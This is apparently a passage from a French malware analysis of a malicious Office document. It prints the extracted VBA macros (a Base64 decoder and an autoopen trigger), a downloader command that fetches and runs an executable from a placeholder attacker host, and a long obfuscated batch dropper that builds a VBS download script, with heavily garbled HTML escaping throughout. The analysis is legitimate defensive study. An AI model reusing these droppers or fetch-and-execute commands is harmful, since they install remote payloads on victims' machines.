Attribute VB_Name = &amp;amp;amp;amp;quot;Module2&amp;amp;amp;amp;quot;
Function Base64Decode(ByVal base64String)
'rfc1521
'1999 Antonin Foller, Motobit Software, http://Motobit.cz
Const Base64 = &amp;amp;amp;amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&amp;amp;amp;amp;quot;
Dim dataLength, sOut, groupBegin

'remove white spaces, If any
base64String = Replace(base64String, vbCrLf, &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;)
base64String = Replace(base64String, vbTab, &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;)
base64String = Replace(base64String, &amp;amp;amp;amp;quot; &amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;)

'The source must consists from groups with Len of 4 chars
dataLength = Len(base64String)
If dataLength Mod 4 &amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;gt; 0 Then
Err.Raise 1, &amp;amp;amp;amp;quot;Base64Decode&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;Bad Base64 string.&amp;amp;amp;amp;quot;
Exit Function
End If

' Now decode each group:
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
' Each data group encodes up To 3 actual bytes.
numDataBytes = 3
nGroup = 0

For CharCounter = 0 To 3
' Convert each character into 6 bits of data, And add it To
' an integer For temporary storage.&amp;amp;amp;amp;amp;amp;amp;nbsp; If a character is a '=', there
' is one fewer data byte.&amp;amp;amp;amp;amp;amp;amp;nbsp; (There can only be a maximum of 2 '=' In
' the whole string.)

thisChar = Mid(base64String, groupBegin + CharCounter, 1)

If thisChar = &amp;amp;amp;amp;quot;=&amp;amp;amp;amp;quot; Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, &amp;amp;amp;amp;quot;Base64Decode&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;Bad character In Base64 string.&amp;amp;amp;amp;quot;
Exit Function
End If

nGroup = 64 * nGroup + thisData
Next

'Hex splits the long To 6 groups with 4 bits
nGroup = Hex(nGroup)

'Add leading zeros
nGroup = String(6 - Len(nGroup), &amp;amp;amp;amp;quot;0&amp;amp;amp;amp;quot;) &amp;amp;amp;amp;amp;amp;amp;amp;amp; nGroup

'Convert the 3 byte hex integer (6 chars) To 3 characters
pOut = Chr(CByte(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;H&amp;amp;amp;amp;quot; &amp;amp;amp;amp;amp;amp;amp;amp;amp; Mid(nGroup, 1, 2))) + _
Chr(CByte(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;H&amp;amp;amp;amp;quot; &amp;amp;amp;amp;amp;amp;amp;amp;amp; Mid(nGroup, 3, 2))) + _
Chr(CByte(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;amp;amp;amp;H&amp;amp;amp;amp;quot; &amp;amp;amp;amp;amp;amp;amp;amp;amp; Mid(nGroup, 5, 2)))

'add numDataBytes characters To out string
sOut = sOut &amp;amp;amp;amp;amp;amp;amp;amp;amp; Left(pOut, numDataBytes)
Next

Base64Decode = sOut
End Function

$~: python ../oledump.py test.final -v -s 9
(la macro autoopen())

Attribute VB_Name = &amp;amp;amp;amp;quot;ThisDocument&amp;amp;amp;amp;quot;
Attribute VB_Base = &amp;amp;amp;amp;quot;1Normal.ThisDocument&amp;amp;amp;amp;quot;
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
VJKBKasd
End Sub

Malheureusement, nous ne sommmes pas parvenus à extraire les données de UserForm1 ni avec oledump ni avec oletools…
Tant pis pour nous. [EDIT : Cela est a priori possible, voir la remarque de l’auteur d’oledump dans les commentaires]

Cependant un simple strings sur le fichier suffit parfois à révéler des choses :

:~: strings test.final  | grep exe
cscript //Nologo %DLOAD_SCRIPT% http://<SITE_MECHANT>/6/6.exe %TMP%\asddddd.exe & start %TMP%\asddddd.exe & del  %TMP%\dasdee.vbs & del %TMP%\arra.bat

Nous pouvons donc télécharger ce fichier pour continuer notre analyse.

Plus tard, nous avons sur notre VM ouvert le fichier office et éxécuté la macro : Un fichier arra.bat est alors créé dans le repertoire %TMP% (C:\Users\<login>\AppData\Local\Temp). Ce fichier est obfusqué :

Version obfusquée :

@echo off
set uhzuixvolo=s
%uhzuixvolo%et mhlhbfxioz=e
%uhzuixvolo%%mhlhbfxioz%t pvzjiczcfi=t
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% rombizkvvl=a
goto KBILWGGCTD
%ywetqtwzms%%vukrdvpaiv%%nyexpecczf% ifvkzjdkrp=a
:KBILWGGCTD
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% ctvzypgyki=b
goto QKJOZBLONZ
%ywetqtwzms%%bzdbopjfms%%fjikcmasob% ohgbrdmigm=b
:QKJOZBLONZ
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% qbcenaqizf=c
goto JSGHUIXXNV
%ywetqtwzms%%vdrbpwkgwp%%unhvyxyuny% prrppcovpi=c
:JSGHUIXXNV
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% sheaszhotb=d
goto FDBIMMXLMR
%ywetqtwzms%%skeipzzogm%%wqcykvftsw% nuvewesvkg=d
:FDBIMMXLMR
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% xrfdwtmany=e
goto IBNRGJSDBP
%ywetqtwzms%%dpnggovrvj%%cvuhvpyyxt% ffaqjlplyc=e
:IBNRGJSDBP
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% joyobimqxw=f
goto WNCPNVNUGL
%ywetqtwzms%%rxtluafbkf%%cknpmolswo% ukzcfxnnyz=f
:WNCPNVNUGL
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% gztptlmexs=g
goto QNJWWBDOAJ
%ywetqtwzms%%tdwhaywhec%%aqaxmrazgl% ewynhnffsv=g
:QNJWWBDOAJ
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% qijgcbtpbo=h
goto VASSTWSHJF
%ywetqtwzms%%ynxkdtbtyy%%kvjvchwdvi% kcrwshzkwr=h
:VASSTWSHJF
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% xjuwvucnqm=i
goto GBSXQLEEJC
%ywetqtwzms%%ruudxanbxv%%zeqarsgnje% dgfwtoalgp=i
:GBSXQLEEJC
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% ytfltteaai=j
goto CQVRBPOZYY
%ywetqtwzms%%hvkvbkbxht%%aktvwrxteb% amsetqpsql=j
:CQVRBPOZYY
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% vwjzavhauf=k
goto ESQTONUYCV
%ywetqtwzms%%qebnkaiimp%%zjpqlsqmiz% lrbbjglwfi=k
:ESQTONUYCV
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% oiomndfpjb=l
goto KYJDZHODHS
%ywetqtwzms%%eqqlrncyql%%sqmkfzcuiw% zaihysvguf=l
:KYJDZHODHS
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% dmnyjodsiy=m
goto ECXDBNPERP
%ywetqtwzms%%ypxsatttkj%%obhkxdcjhs% bgkcdqmmoc=m
:ECXDBNPERP
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% foiavmkrnw=n
goto BJKKAQELBM
%ywetqtwzms%%ddgowoimue%%ykybgtjtlo% gplfhkryiy=n
:BJKKAQELBM
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% luakggdwrt=o
goto MNTIRFAPPJ
%ywetqtwzms%%oegsuduitc%%fmiszmsral% zxiybsdghu=o
:MNTIRFAPPJ
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% litsxfqqro=p
goto AWZNFRKZEF
%ywetqtwzms%%difeqosltz%%gwthwlueki% pxyrfcrcrs=p
:AWZNFRKZEF
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% jpgzxifxal=q
goto CCCJLPBFZC
%ywetqtwzms%%mvepsekdnv%%ezyvenxfef% zgpiosymwp=q
:CCCJLPBFZC
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% tupxnybbpi=r
goto HLDMOKGRTZ
%ywetqtwzms%%tbxydyehrs%%payzccjbed% fiayglhklm=r
:HLDMOKGRTZ
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% hcwccjlkee=s
goto ATAFJRSZSV
%ywetqtwzms%%melyeffjbp%%lpbtmgtxty% gslnekjxvi=s
:ATAFJRSZSV
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% jjyyhicqyb=t
goto PTQYMBGVCT
%ywetqtwzms%%jlygeiuqlm%%nrwvzeawxv% evpblnnxpg=t
:PTQYMBGVCT
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% iivswjvkdz=u
goto ZCHPVSNFGP
%ywetqtwzms%%uqhevxquaj%%txofkytacs% whuoyuknec=u
:ZCHPVSNFGP
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% apsmqqhscw=v
goto NOWNCEHWLL
%ywetqtwzms%%iyojjjadpf%%nadfmeucmq% lltaufipdz=v
:NOWNCEHWLL
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% xanniuhgcs=w
goto HODULKYQFJ
%ywetqtwzms%%kfqephrjjc%%khqnlhjjvm% onochdpoiw=w
:HODULKYQFJ
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% hjderkorgo=x
goto MCMQHFNJPF
%ywetqtwzms%%porhscwvdy%%bxdsrprgah% bdlugqumcr=x
:MCMQHFNJPF
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% oloukdxpvm=y
goto XDMVFUZGOC
%ywetqtwzms%%iwobmjiecv%%jufqripwzg% uhzuixvolo=y
:XDMVFUZGOC
%uhzuixvolo%%mhlhbfxioz%%pvzjiczcfi% pvzjiczcfi=z
goto MHLHBFXIOZ
%ywetqtwzms%%ywetqtwzms%%kbilwggctd% rombizkvvl=z
:MHLHBFXIOZ
@echo on
@%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %luakggdwrt%%joyobimqxw%%joyobimqxw%

%tupxnybbpi%%xrfdwtmany%%dmnyjodsiy% -------------------------------------------------------------------------
%hcwccjlkee%%xrfdwtmany%%jjyyhicqyb% DLOAD_SCRIPT=%TMP%\%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%xrfdwtmany%%xrfdwtmany%.%apsmqqhscw%%ctvzypgyki%%hcwccjlkee%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% O%litsxfqqro%%jjyyhicqyb%%xjuwvucnqm%%luakggdwrt%%foiavmkrnw% E%hjderkorgo%%litsxfqqro%%oiomndfpjb%%xjuwvucnqm%%qbcenaqizf%%xjuwvucnqm%%jjyyhicqyb%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;nbsp; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% D%xjuwvucnqm%%dmnyjodsiy% %hcwccjlkee%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%hcwccjlkee%%rombizkvvl%%qbcenaqizf%%qbcenaqizf%, %tupxnybbpi%%xrfdwtmany%%xanniuhgcs%%tupxnybbpi%%xanniuhgcs%%xrfdwtmany%%joyobimqxw%, %ytfltteaai%%qbcenaqizf%%hjderkorgo%%qbcenaqizf%%pvzjiczcfi%%hjderkorgo%%qbcenaqizf%%hcwccjlkee%, %xanniuhgcs%%xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%qbcenaqizf%%qbcenaqizf%, %hcwccjlkee%%rombizkvvl%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%apsmqqhscw%%ctvzypgyki%%ctvzypgyki%, %xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%sheaszhotb%%sheaszhotb%%sheaszhotb%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt%.&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% S%xrfdwtmany%%jjyyhicqyb% %hcwccjlkee%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%hcwccjlkee%%rombizkvvl%%qbcenaqizf%%qbcenaqizf% = W%hcwccjlkee%%qbcenaqizf%%tupxnybbpi%%xjuwvucnqm%%litsxfqqro%%jjyyhicqyb%.A%tupxnybbpi%%gztptlmexs%%iivswjvkdz%%dmnyjodsiy%%xrfdwtmany%%foiavmkrnw%%jjyyhicqyb%%hcwccjlkee%&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% S%xrfdwtmany%%jjyyhicqyb% %tupxnybbpi%%xrfdwtmany%%xanniuhgcs%%tupxnybbpi%%xanniuhgcs%%xrfdwtmany%%joyobimqxw% = C%tupxnybbpi%%xrfdwtmany%%rombizkvvl%%jjyyhicqyb%%xrfdwtmany%O%ctvzypgyki%%ytfltteaai%%xrfdwtmany%%qbcenaqizf%%jjyyhicqyb%(&amp;amp;amp;amp;quot;W%xjuwvucnqm%%foiavmkrnw%H%jjyyhicqyb%%jjyyhicqyb%%litsxfqqro%.W%xjuwvucnqm%%foiavmkrnw%H%jjyyhicqyb%%jjyyhicqyb%%litsxfqqro%R%xrfdwtmany%%jpgzxifxal%%iivswjvkdz%%xrfdwtmany%%hcwccjlkee%%jjyyhicqyb%.5.1&amp;amp;amp;amp;quot;)&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %hcwccjlkee%%rombizkvvl%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%apsmqqhscw%%ctvzypgyki%%ctvzypgyki% = %hcwccjlkee%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%hcwccjlkee%%rombizkvvl%%qbcenaqizf%%qbcenaqizf%(0)&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
%xrfdwtmany%%qbcenaqizf%%qijgcbtpbo%%luakggdwrt% %xrfdwtmany%%jpgzxifxal%%xanniuhgcs%%xrfdwtmany%%sheaszhotb%%sheaszhotb%%sheaszhotb% = %hcwccjlkee%%sheaszhotb%%rombizkvvl%%hcwccjlkee%%sheaszhotb%%hcwccjlkee%%rombizkvvl%%qbcenaqizf%%qbcenaqizf%(1)&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp;&amp;amp;amp;amp;amp;amp;nbsp; &amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;gt; %DLOAD_SCRIPT%
